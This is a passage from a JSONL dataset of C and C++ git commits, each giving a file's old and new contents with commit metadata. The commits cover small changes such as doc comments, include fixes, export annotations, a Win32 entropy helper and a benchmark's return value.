k\/graphviz"}
{"commit":"0a7fe1761cdb101263afa617fd31c3cef357ad40","old_file":"Pod\/Classes\/OCKCarePlanEvent+CMHealth.h","new_file":"Pod\/Classes\/OCKCarePlanEvent+CMHealth.h","old_contents":"#import <CareKit\/CareKit.h>\n\ntypedef void(^CMHCareSaveCompletion)(NSString *_Nullable uploadStatus, NSError *_Nullable error);\n\n@interface OCKCarePlanEvent (CMHealth)\n\n@property (nonatomic, nonnull, readonly) NSString *cmh_objectId;\n- (void)cmh_saveWithCompletion:(_Nullable CMHCareSaveCompletion)block;\n\n@end\n","new_contents":"#import <CareKit\/CareKit.h>\n\ntypedef void(^CMHCareSaveCompletion)(NSString *_Nullable uploadStatus, NSError *_Nullable error);\n\n\/**\n *  This category adds properties and methods to the `OCKCarePlanEvent` class which\n *  allow instances to be identified uniquely and saved to CloudMine's\n *  HIPAA compliant Connected Health Cloud.\n *\/\n@interface OCKCarePlanEvent (CMHealth)\n\n\/**\n *  The unique identifier  assigned to this event based on its `OCKCarePlanActivity` \n *  identifier, its schedule, and its days since start.\n *\n *  @warning the CareKit component of this SDK is experimental and subject to change. Your\n *  feedback is welcomed!\n *\/\n@property (nonatomic, nonnull, readonly) NSString *cmh_objectId;\n\n\/**\n *  Save a representation of this `OCKCarePlanEvent` isntance to CloudMine.\n *  The event is given a unique identifier based on its `OCKCarePlanActivity` identifier,\n *  its schedule, and its days since start. Saving an event multiple times will update\n *  the instance of that event on CloudMine. The callback will provide a string value \n *  of `created` or `updated` if the operation was successful.\n *\n *  @warning the CareKit component of this SDK is experimental and subject to change. Your\n *  feedback is welcomed!\n *\n *  @param block Executes when the request completes successfully or fails with an error.\n *\/\n- (void)cmh_saveWithCompletion:(_Nullable CMHCareSaveCompletion)block;\n\n@end\n","subject":"Add appledoc header comments to the 'OCKCarePlanEvent' class","message":"Add appledoc header comments to the 'OCKCarePlanEvent' class\n","lang":"C","license":"mit","repos":"cloudmine\/CMHealthSDK-iOS,cloudmine\/CMHealthSDK-iOS,cloudmine\/CMHealthSDK"}
{"commit":"03a80e429b8eb1568052406520957291b878dbbe","old_file":"ports\/nrf\/boards\/Seeed_XIAO_nRF52840_Sense\/board.c","new_file":"ports\/nrf\/boards\/Seeed_XIAO_nRF52840_Sense\/board.c","old_contents":"\/*\n * This file is part of the MicroPython project, http:\/\/micropython.org\/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2017 Scott Shawcroft for Adafruit Industries\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#include \"supervisor\/board.h\"\n\nvoid board_init(void) {\n}\n\nbool board_requests_safe_mode(void) {\n    return false;\n}\n\nvoid reset_board(void) {\n\n}\n\nvoid board_deinit(void) {\n}","new_contents":"\/*\n * This file is part of the MicroPython project, http:\/\/micropython.org\/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2017 Scott Shawcroft for Adafruit Industries\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#include \"supervisor\/board.h\"\n\nvoid board_init(void) {\n}\n\nbool board_requests_safe_mode(void) {\n    return false;\n}\n\nvoid reset_board(void) {\n\n}\n\nvoid board_deinit(void) {\n}\n","subject":"Add new line for pre-commit","message":"Add new line for pre-commit","lang":"C","license":"mit","repos":"adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython"}
{"commit":"f069298847ebaf5d964a5056128171d441938d76","old_file":"CroquetPlugin\/sqWin32CroquetPlugin.c","new_file":"CroquetPlugin\/sqWin32CroquetPlugin.c","old_contents":"","new_contents":"#include <windows.h>\r\n#include \"CroquetPlugin.h\"\r\n\r\nstatic int loaded = 0;\r\nstatic HMODULE hAdvApi32 = NULL;\r\nstatic BOOLEAN (*RtlGenRandom)(PVOID, ULONG) = NULL;\r\n\r\nint ioGatherEntropy(char *bufPtr, int bufSize) {\r\n  if(!loaded) {\r\n    loaded = 1;\r\n    hAdvApi32 = LoadLibrary(\"advapi32.dll\");\r\n    (void*)RtlGenRandom = GetProcAddress(hAdvApi32, \"SystemFunction036\");\r\n  }\r\n  if(!RtlGenRandom) return 0;\r\n  return RtlGenRandom(bufPtr, bufSize);\r\n}\r\n","subject":"Add Win32 specific code for CroquetPlugin.","message":"Add Win32 specific code for CroquetPlugin.\n\ngit-svn-id: f18ccec24f938f15aa42574278fe0cc52f637e81@1398 fa1542d4-bde8-0310-ad64-8ed1123d492a\n","lang":"C","license":"mit","repos":"peteruhnak\/pharo-vm,timfel\/squeakvm,timfel\/squeakvm,peteruhnak\/pharo-vm,timfel\/squeakvm,OpenSmalltalk\/vm,bencoman\/pharo-vm,bencoman\/pharo-vm,OpenSmalltalk\/vm,bencoman\/pharo-vm,timfel\/squeakvm,bencoman\/pharo-vm,peteruhnak\/pharo-vm,timfel\/squeakvm,peteruhnak\/pharo-vm,peteruhnak\/pharo-vm,OpenSmalltalk\/vm,OpenSmalltalk\/vm,timfel\/squeakvm,bencoman\/pharo-vm,OpenSmalltalk\/vm,bencoman\/pharo-vm,bencoman\/pharo-vm,OpenSmalltalk\/vm,peteruhnak\/pharo-vm,timfel\/squeakvm,peteruhnak\/pharo-vm,peteruhnak\/pharo-vm,bencoman\/pharo-vm,OpenSmalltalk\/vm,OpenSmalltalk\/vm,bencoman\/pharo-vm,timfel\/squeakvm"}
{"commit":"c1f5a1944657ba6abe375e3bb2a3238a46849f70","old_file":"fs\/ext3\/bitmap.c","new_file":"fs\/ext3\/bitmap.c","old_contents":"\/*\n *  linux\/fs\/ext3\/bitmap.c\n *\n * Copyright (C) 1992, 1993, 1994, 1995\n * Remy Card (card@masi.ibp.fr)\n * Laboratoire MASI - Institut Blaise Pascal\n * Universite Pierre et Marie Curie (Paris VI)\n *\/\n\n#ifdef EXT3FS_DEBUG\n\n#include <linux\/buffer_head.h>\n\n#include \"ext3_fs.h\"\n\nstatic int nibblemap[] = {4, 3, 3, 2, 3, 2, 2, 1, 3, 2, 2, 1, 2, 1, 1, 0};\n\nunsigned long ext3_count_free (struct buffer_head * map, unsigned int numchars)\n{\n\tunsigned int i;\n\tunsigned long sum = 0;\n\n\tif (!map) \n\t\treturn (0);\n\tfor (i = 0; i < numchars; i++)\n\t\tsum += nibblemap[map->b_data[i] & 0xf] +\n\t\t\tnibblemap[(map->b_data[i] >> 4) & 0xf];\n\treturn (sum);\n}\n\n#endif  \/*  EXT3FS_DEBUG  *\/\n\n","new_contents":"\/*\n *  linux\/fs\/ext3\/bitmap.c\n *\n * Copyright (C) 1992, 1993, 1994, 1995\n * Remy Card (card@masi.ibp.fr)\n * Laboratoire MASI - Institut Blaise Pascal\n * Universite Pierre et Marie Curie (Paris VI)\n *\/\n\n#include <linux\/buffer_head.h>\n#include <linux\/jbd.h>\n#include <linux\/ext3_fs.h>\n\n#ifdef EXT3FS_DEBUG\n\nstatic int nibblemap[] = {4, 3, 3, 2, 3, 2, 2, 1, 3, 2, 2, 1, 2, 1, 1, 0};\n\nunsigned long ext3_count_free (struct buffer_head * map, unsigned int numchars)\n{\n\tunsigned int i;\n\tunsigned long sum = 0;\n\n\tif (!map) \n\t\treturn (0);\n\tfor (i = 0; i < numchars; i++)\n\t\tsum += nibblemap[map->b_data[i] & 0xf] +\n\t\t\tnibblemap[(map->b_data[i] >> 4) & 0xf];\n\treturn (sum);\n}\n\n#endif  \/*  EXT3FS_DEBUG  *\/\n\n","subject":"Fix debug logging-only compilation error","message":"[PATCH] ext3: Fix debug logging-only compilation error\n\nWhen EXT3FS_DEBUG is #define-d, the compile breaks due to #include file\nissues.\n\nSigned-off-by: Kirk True <c65a0fb7e74ffd2c9fc3a0f9aacb0f6a24b0a68b@kirkandsheila.com>\nSigned-off-by: Andrew Morton <5c1e68b099950c134891f0b6e179498a8ebe9cf9@osdl.org>\nSigned-off-by: Linus Torvalds <69652caca27c8b940640ad396ab71f93cacec34f@osdl.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"e2170f8cc32db962f0c67dc7862cca7c59e828d3","old_file":"ui\/gfx\/favicon_size.h","new_file":"ui\/gfx\/favicon_size.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_GFX_FAVICON_SIZE_H_\n#define UI_GFX_FAVICON_SIZE_H_\n#pragma once\n\nnamespace gfx {\n\n\/\/ Size (along each axis) of the favicon.\nextern const int kFaviconSize;\n\n\/\/ If the width or height is bigger than the favicon size, a new width\/height\n\/\/ is calculated and returned in width\/height that maintains the aspect\n\/\/ ratio of the supplied values.\nvoid CalculateFaviconTargetSize(int* width, int* height);\n\n}  \/\/ namespace gfx\n\n#endif  \/\/ UI_GFX_FAVICON_SIZE_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_GFX_FAVICON_SIZE_H_\n#define UI_GFX_FAVICON_SIZE_H_\n#pragma once\n\n#include \"ui\/base\/ui_export.h\"\n\nnamespace gfx {\n\n\/\/ Size (along each axis) of the favicon.\nUI_EXPORT extern const int kFaviconSize;\n\n\/\/ If the width or height is bigger than the favicon size, a new width\/height\n\/\/ is calculated and returned in width\/height that maintains the aspect\n\/\/ ratio of the supplied values.\nUI_EXPORT void CalculateFaviconTargetSize(int* width, int* height);\n\n}  \/\/ namespace gfx\n\n#endif  \/\/ UI_GFX_FAVICON_SIZE_H_\n","subject":"Fix Linux shared build by adding missing UI_EXPORT annotations.","message":"ui\/gfx: Fix Linux shared build by adding missing UI_EXPORT annotations.\n\nTBR=sky@chromium.org\n\nReview URL: http:\/\/codereview.chromium.org\/8028029\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@102765 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,patrickm\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,Just-D\/chromium-1,Just-D\/chromium-1,rogerwang\/chromium,nacl-webkit\/chrome_deps,rogerwang\/chromium,anirudhSK\/chromium,PeterWangIntel\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,hujiajie\/pa-chromium,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,littlstar\/chromium.src,Just-D\/chromium-1,nacl-webkit\/chrome_deps,patrickm\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,keishi\/chromium,ChromiumWebApps\/chromium,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,chuan9\/chromium-crosswalk,anirudhSK\/chromium,Jonekee\/chromium.src,chuan9\/chromium-crosswalk,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,dushu1203\/chromium.src,ondra-novak\/chromium.src,ltilve\/chromium,junmin-zhu\/chromium-rivertrail,axinging\/chromium-crosswalk,dednal\/chromium.src,markYoungH\/chromium.src,dushu1203\/chromium.src,hujiajie\/pa-chromium,pozdnyakov\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,dednal\/chromium.src,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk,mogoweb\/chromium-crosswalk,ltilve\/chromium,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,keishi\/chromium,ChromiumWebApps\/chromium,zcbenz\/cefode-chromium,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,Jonekee\/chromium.src,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,junmin-zhu\/chromium-rivertrail,M4sse\/chromium.src,Jonekee\/chromium.src,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,ChromiumWebApps\/chromium,anirudhSK\/chromium,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk,timopulkkinen\/BubbleFish,nacl-webkit\/chrome_deps,patrickm\/chromium.src,ondra-novak\/chromium.src,mohamed--abdel-maksoud\/chromium.src,pozdnyakov\/chromium-crosswalk,keishi\/chromium,keishi\/chromium,chuan9\/chromium-crosswalk,M4sse\/chromium.src,Chilledheart\/chromium,Jonekee\/chromium.src,patrickm\/chromium.src,jaruba\/chromium.src,ChromiumWebApps\/chromium,ondra-novak\/chromium.src,krieger-od\/nwjs_chromium.src,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,dushu1203\/chromium.src,littlstar\/chromium.src,mogoweb\/chromium-crosswalk,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,Just-D\/chromium-1,patrickm\/chromium.src,Pluto-tv\/chromium-crosswalk,hujiajie\/pa-chromium,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,anirudhSK\/chromium,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,anirudhSK\/chromium,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,hujiajie\/pa-chromium,chuan9\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,keishi\/chromium,junmin-zhu\/chromium-rivertrail,anirudhSK\/chromium,Just-D\/chromium-1,fujunwei\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,Chilledheart\/chromium,robclark\/chromium,markYoungH\/chromium.src,bright-sparks\/chromium-spacewalk,Fireblend\/chromium-crosswalk,ltilve\/chromium,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,robclark\/chromium,pozdnyakov\/chromium-crosswalk,ltilve\/chromium,Jonekee\/chromium.src,hujiajie\/pa-chromium,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,rogerwang\/chromium,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,rogerwang\/chromium,timopulkkinen\/BubbleFish,markYoungH\/chromium.src,pozdnyakov\/chromium-crosswalk,littlstar\/chromium.src,mogoweb\/chromium-crosswalk,dushu1203\/chromium.src,littlstar\/chromium.src,zcbenz\/cefode-chromium,M4sse\/chromium.src,patrickm\/chromium.src,zcbenz\/cefode-chromium,zcbenz\/cefode-chromium,fujunwei\/chromium-crosswalk,zcbenz\/cefode-chromium,keishi\/chromium,dushu1203\/chromium.src,Jonekee\/chromium.src,ChromiumWebApps\/chromium,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,robclark\/chromium,pozdnyakov\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,ltilve\/chromium,hgl888\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,robclark\/chromium,ondra-novak\/chromium.src,keishi\/chromium,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,hgl888\/chromium-crosswalk,Just-D\/chromium-1,jaruba\/chromium.src,axinging\/chromium-crosswalk,robclark\/chromium,keishi\/chromium,ondra-novak\/chromium.src,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,littlstar\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,markYoungH\/chromium.src,Pluto-tv\/chromium-crosswalk,ondra-novak\/chromium.src,PeterWangIntel\/chromium-crosswalk,mogoweb\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,rogerwang\/chromium,M4sse\/chromium.src,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,crosswalk-project\/chromium-crosswalk-efl,markYoungH\/chromium.src,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,timopulkkinen\/BubbleFish,junmin-zhu\/chromium-rivertrail,fujunwei\/chromium-crosswalk,timopulkkinen\/BubbleFish,dednal\/chromium.src,littlstar\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,M4sse\/chromium.src,chuan9\/chromium-crosswalk,littlstar\/chromium.src,dednal\/chromium.src,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,Chilledheart\/chromium,TheTypoMaster\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,axinging\/chromium-crosswalk,zcbenz\/cefode-chromium,robclark\/chromium,Jonekee\/chromium.src,jaruba\/chromium.src,dednal\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,ltilve\/chromium,robclark\/chromium,krieger-od\/nwjs_chromium.src,mogoweb\/chromium-crosswalk,axinging\/chromium-crosswalk,Just-D\/chromium-1,Jonekee\/chromium.src,ondra-novak\/chromium.src,anirudhSK\/chromium,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,M4sse\/chromium.src,TheTypoMaster\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,mogoweb\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,ltilve\/chromium,patrickm\/chromium.src,dednal\/chromium.src,ChromiumWebApps\/chromium,dushu1203\/chromium.src,dednal\/chromium.src,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,chuan9\/chromium-crosswalk,anirudhSK\/chromium,hujiajie\/pa-chromium,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,robclark\/chromium,hgl888\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,nacl-webkit\/chrome_deps,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,keishi\/chromium,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,robclark\/chromium,timopulkkinen\/BubbleFish,M4sse\/chromium.src,hujiajie\/pa-chromium,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,junmin-zhu\/chromium-rivertrail,ChromiumWebApps\/chromium,ltilve\/chromium,nacl-webkit\/chrome_deps,mogoweb\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,M4sse\/chromium.src,M4sse\/chromium.src,keishi\/chromium,junmin-zhu\/chromium-rivertrail,zcbenz\/cefode-chromium,krieger-od\/nwjs_chromium.src,TheTypoMaster\/chromium-crosswalk,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,mogoweb\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,rogerwang\/chromium,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,chuan9\/chromium-crosswalk,robclark\/chromium,rogerwang\/chromium,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,dushu1203\/chromium.src,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,anirudhSK\/chromium,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk,timopulkkinen\/BubbleFish,patrickm\/chromium.src,nacl-webkit\/chrome_deps,dednal\/chromium.src,jaruba\/chromium.src,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,ondra-novak\/chromium.src,ltilve\/chromium,littlstar\/chromium.src,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,rogerwang\/chromium,rogerwang\/chromium,zcbenz\/cefode-chromium,Chilledheart\/chromium,Just-D\/chromium-1,markYoungH\/chromium.src,rogerwang\/chromium,keishi\/chromium,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,fujunwei\/chromium-crosswalk,anirudhSK\/chromium,jaruba\/chromium.src,timopulkkinen\/BubbleFish,Chilledheart\/chromium"}
{"commit":"46d883dacaba3d481e47cc96c163e33c43c2e33a","old_file":"prime_divisors\/benchmark.c","new_file":"prime_divisors\/benchmark.c","old_contents":"#include \"stdio.h\"\n\n\n#define MAX_SIZE 10000001\n#define MAX_FACTORS 10000\n\nint primes(int n)\n{\n    int i, d;\n    int factors[MAX_FACTORS];\n\n    for(i=0;i < MAX_FACTORS; i++)\n        factors[i] = 0;\n\n    i = 0;\n    d = 2;\n\n    while(d*d <= n){\n        if(n%d == 0){\n            while(n%d == 0){\n                n \/= d;\n                factors[i] = d;\n            }\n            i++;\n        }\n        d++;\n    }\n\n    if(n > 1)\n        factors[i++] = d;\n\n    return i;\n}\n\nint count(int a, int b, int k){\n    int ans = 0;\n    for(int i = a; i < (b+1); i++){\n        if (primes(i)==k)\n            ans++;\n    }\n\n    return ans;\n}\n\nint main(void)\n{\n    int t,n,a,b,k;\n    a = 2;\n    b = 10000000;\n    k = 2;\n    printf(\" Number of integers between %d and %d, each having exactly %d prime divisors : %d\" ,a,b,k,count(a,b,k));\n    return 1;\n}\n","new_contents":"#include \"stdio.h\"\n\n\n#define MAX_SIZE 10000001\n#define MAX_FACTORS 10000\n\nint primes(int n)\n{\n    int i, d;\n    int factors[MAX_FACTORS];\n\n    for(i=0;i < MAX_FACTORS; i++)\n        factors[i] = 0;\n\n    i = 0;\n    d = 2;\n\n    while(d*d <= n){\n        if(n%d == 0){\n            while(n%d == 0){\n                n \/= d;\n                factors[i] = d;\n            }\n            i++;\n        }\n        d++;\n    }\n\n    if(n > 1)\n        factors[i++] = d;\n\n    return i;\n}\n\nint count(int a, int b, int k){\n    int ans = 0;\n    for(int i = a; i < (b+1); i++){\n        if (primes(i)==k)\n            ans++;\n    }\n\n    return ans;\n}\n\nint main(void)\n{\n    int t,n,a,b,k;\n    a = 2;\n    b = 10000000;\n    k = 2;\n    printf(\" Number of integers between %d and %d, each having exactly %d prime divisors : %d\" ,a,b,k,count(a,b,k));\n    return 0;\n}\n","subject":"Fix return value of C program","message":"Fix return value of C program\n","lang":"C","license":"mit","repos":"zbard\/benchmark,zbard\/benchmark,zbard\/benchmark,zbard\/benchmark,zbard\/benchmark"}
{"commit":"22fd3d429ee81a0d773d30b9a7b80741bdac8aba","old_file":"lab3\/timer.h","new_file":"lab3\/timer.h","old_contents":"#ifndef TIMER_H\n#define TIMER_H\n\nstruct timespec t0, t1; \/* Start\/end time for timer *\/\n\n\/* Timer macros *\/\n#define TIMER_START() clock_gettime(CLOCK_MONOTONIC_RAW, &t0)\n#define TIMER_STOP() clock_gettime(CLOCK_MONOTONIC_RAW, &t1)\n#define TIMER_ELAPSED_NS() \\\n    (t1.tv_sec * 1000000000 + t1.tv_nsec) - \\\n    (t0.tv_sec * 1000000000 + t0.tv_nsec)\n#define TIMER_ELAPSED_US() \\\n    (t1.tv_sec * 1000000 + (double)t1.tv_nsec \/ 1000) - \\\n    (t0.tv_sec * 1000000 + (double)t0.tv_nsec \/ 1000)\n\n#endif \/* TIMER_H *\/\n","new_contents":"#ifndef TIMER_H\n#define TIMER_H\n\nstruct timespec t0, t1; \/* Start\/end time for timer *\/\n\n\/* Timer macros *\/\n#define TIMER_START() clock_gettime(CLOCK_MONOTONIC, &t0)\n#define TIMER_STOP() clock_gettime(CLOCK_MONOTONIC, &t1)\n#define TIMER_ELAPSED_NS() \\\n    (t1.tv_sec * 1000000000 + t1.tv_nsec) - \\\n    (t0.tv_sec * 1000000000 + t0.tv_nsec)\n#define TIMER_ELAPSED_US() \\\n    (t1.tv_sec * 1000000 + (double)t1.tv_nsec \/ 1000) - \\\n    (t0.tv_sec * 1000000 + (double)t0.tv_nsec \/ 1000)\n\n#endif \/* TIMER_H *\/\n","subject":"Use CLOCK_MONOTONIC instead of CLOCK_MONOTONIC_RAW.","message":"Use CLOCK_MONOTONIC instead of CLOCK_MONOTONIC_RAW.\n\nshell.it.kth.se doesn't have _RAW.\n","lang":"C","license":"mit","repos":"estan\/ID2200,estan\/ID2200"}
{"commit":"b8bcd304039bba9c1bc8d826e5202e94f7122a7d","old_file":"Animation.h","new_file":"Animation.h","old_contents":"#ifndef ANIMATION_H\n#define ANIMATION_H\n\n#include <vector>\n\n#include \"Blittable.h\"\n#include \"Logger.h\"\n\nnamespace hm\n{\n\tclass Animation\n\t{\n\t\tpublic:\n\t\t\tAnimation();\n\t\t\t~Animation();\n\n\t\t\tvoid add(Blittable& b);\n\t\t\tvoid remove(Blittable& b);\n\t\t\tvoid removeAll();\n\n\t\t\tint getUnits();\n\t\t\tvoid setUnits(const int units);\n\t\t\tunsigned int getFrames();\n\t\t\tvoid setFrames(const unsigned int frames);\n\n\t\t\tvoid setAnimationSpeed(const int units, const unsigned int frames = 1);\n\n\t\t\tvirtual void animate() = 0;\n\n\t\tprotected:\n\t\t\tint units;\n\t\t\tunsigned int frames;\n\n\t\t\tstd::vector<Blittable*> targets;\n\t};\n}\n\n#endif\n","new_contents":"#ifndef ANIMATION_H\n#define ANIMATION_H\n\n#include <vector>\n\n#include \"Blittable.h\"\n#include \"Logger.h\"\n\nnamespace hm\n{\n\tclass Animation\n\t{\n\t\tpublic:\n\t\t\tAnimation();\n\t\t\t~Animation();\n\n\t\t\tvoid add(Blittable& b);\n\t\t\tvoid remove(Blittable& b);\n\t\t\tvoid removeAll();\n\n\t\t\tint getUnits();\n\t\t\tvoid setUnits(const int units);\n\t\t\tunsigned int getFrames();\n\t\t\tvoid setFrames(const unsigned int frames);\n\n\t\t\tvoid setAnimationSpeed(const int units, const unsigned int frames = 1);\n\n\t\t\tvirtual void animate() = 0;\n\t\t\tvirtual bool isComplete() = 0;\n\n\t\tprotected:\n\t\t\tint units;\n\t\t\tunsigned int frames;\n\n\t\t\tstd::vector<Blittable*> targets;\n\t};\n}\n\n#endif\n","subject":"Add pure virtual isComplete() function.","message":"Add pure virtual isComplete() function.\n\nThis function can be used to determine whether an animation has\nfinished it's task or not.\n","lang":"C","license":"lgpl-2.1","repos":"mdclyburn\/hume"}
